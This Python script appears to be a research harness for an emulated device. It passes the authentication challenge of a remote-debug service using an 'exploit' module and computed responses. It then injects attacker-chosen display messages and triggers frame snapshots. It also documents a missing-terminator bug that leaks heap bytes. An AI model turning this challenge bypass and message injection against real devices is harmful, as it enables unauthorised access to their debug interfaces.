#!/usr/bin/env python3
"""Send opcode-8 messages over rdebug and take frame snapshots around them.

This is the host driver for the Messages-box experiments in
``dwt/notes/DISPLAY_MESSAGE.md``.  It imports ``dwt/exploit.py`` (which owns
the protocol) and patches the challenge answer with ``dwt/challenge.respond``
exactly like ``dwt/visual/inject.py`` and ``dwt/solve.py`` -- no debugger, no
breakpoints, no RAM patch.

    python3 dwt/visual/msg_demo.py --wait 30 \
        --message '0:ATTACKER MESSAGE ONE' \
        --message '0:RDEBUG TEXT TWO' \
        --message '3:LEVEL THREE TERTIARY' \
        --before-prefix msg_before --persist-frames 1200 \
        --persist-prefix msg_persist

The trigger file is consumed by ``dwt/visual/msg_snap.lua``:
``"<prefix> <count> <stride>"`` snapshots ``count`` frames, ``stride`` apart.
"""
from __future__ import annotations

import argparse
import os
import sys
import time

HERE = os.path.dirname(os.path.abspath(__file__))
DWT = os.path.dirname(HERE)
sys.path.insert(0, DWT)

import challenge  # noqa: E402
import exploit    # noqa: E402

_orig_answer = exploit.RDebug.answer_challenge


def _answer(self, challenge_bytes: bytes) -> None:
    self.challenge_raw = challenge.respond(challenge_bytes)
    print(f"[+] challenge {challenge_bytes.hex(' ')}", flush=True)
    print(f"[+] reply     {self.challenge_raw.hex(' ')}", flush=True)
    return _orig_answer(self, challenge_bytes)


exploit.RDebug.answer_challenge = _answer


def trigger(path: str, prefix: str, count: int, stride: int) -> None:
    with open(path, "w") as fh:
        fh.write(f"{prefix} {count} {stride}")
    print(f"[.] snapshot trigger {prefix} x{count} every {stride}", flush=True)


def parse_message(spec: str) -> tuple[int, bytes]:
    level_text, sep, text = spec.partition(":")
    if not sep:
        raise argparse.ArgumentTypeError("message must be LEVEL:TEXT")
    return int(level_text, 0), text.encode("latin-1")


def main(argv: list[str]) -> int:
    ap = argparse.ArgumentParser(
        description=__doc__,
        formatter_class=argparse.RawDescriptionHelpFormatter)
    ap.add_argument("--host", default="192.168.100.2")
    ap.add_argument("--port", type=int, default=771)
    ap.add_argument("--timeout", type=float, default=8.0)
    ap.add_argument("--wait", type=float, default=0.0,
                    help="seconds to keep retrying connect (0 = one attempt)")
    ap.add_argument("--trigger", default=None,
                    help="msg_snap.lua trigger file")
    ap.add_argument("--message", type=parse_message, action="append",
                    default=[], metavar="LEVEL:TEXT",
                    help="send one opcode-8 message (repeatable); a NUL byte "
                         "is appended because the handler does not terminate")
    ap.add_argument("--before-prefix", default=None)
    ap.add_argument("--after-prefix", default="msg_send")
    ap.add_argument("--after-frames", type=int, default=4)
    ap.add_argument("--after-stride", type=int, default=2)
    ap.add_argument("--persist-frames", type=int, default=0,
                    help="wait this many emulated frames after the last send")
    ap.add_argument("--persist-prefix", default="msg_persist")
    ap.add_argument("--keepalive", action="store_true",
                    help="send opcode 7 after the messages (proves the "
                         "session/process still answers)")
    a = ap.parse_args(argv[1:])

    deadline = time.monotonic() + a.wait
    rd = exploit.RDebug(a.host, a.port, a.timeout, False)
    while True:
        try:
            rd.connect()
            break
        except OSError as exc:
            if time.monotonic() >= deadline:
                print(f"error: no TCP at {a.host}:{a.port}: {exc}",
                      file=sys.stderr)
                return 2
            time.sleep(1.0)

    try:
        flag, payload = rd.liveness(7)
        print(f"opcode 7 -> flag={flag:#04x} payload={payload.hex(' ')} "
              f"({payload!r})", flush=True)
        if a.before_prefix and a.trigger:
            trigger(a.trigger, a.before_prefix, 1, 0)
            time.sleep(0.5)      # let the frame hook consume it before the send
        for i, (level, text) in enumerate(a.message, 1):
            # The handler allocates len+2 but never writes the terminator, so
            # the sender must include the NUL; otherwise stale heap bytes are
            # printed after the text.
            wire = text + b"\x00"
            body = exploit.be32(level) + exploit.be32(len(wire)) + wire
            print(f"[>] opcode 8 body {body.hex(' ')}", flush=True)
            if a.trigger:
                trigger(a.trigger, f"{a.after_prefix}{i}",
                        a.after_frames, a.after_stride)
            rd.display_message(level, wire)
            print(f"[.] message {i} level={level} {text!r}: Done", flush=True)
        if a.keepalive:
            flag, payload = rd.liveness(7)
            print(f"post-message opcode 7 -> flag={flag:#04x} "
                  f"payload={payload.hex(' ')} ({payload!r})", flush=True)
        if a.persist_frames and a.trigger:
            # ~60 fps emulated; the clock file is not used here, so this is
            # wall time at whatever speed MAME runs.  The caller picks a value
            # that covers the intended span.
            time.sleep(a.persist_frames / 300.0)
            trigger(a.trigger, a.persist_prefix, 4, 30)
        time.sleep(0.5)
        return 0
    except (OSError, exploit.ProtocolError, ValueError) as exc:
        print(f"error: {exc}", file=sys.stderr)
        return 2
    finally:
        rd.close()


if __name__ == "__main__":
    raise SystemExit(main(sys.argv))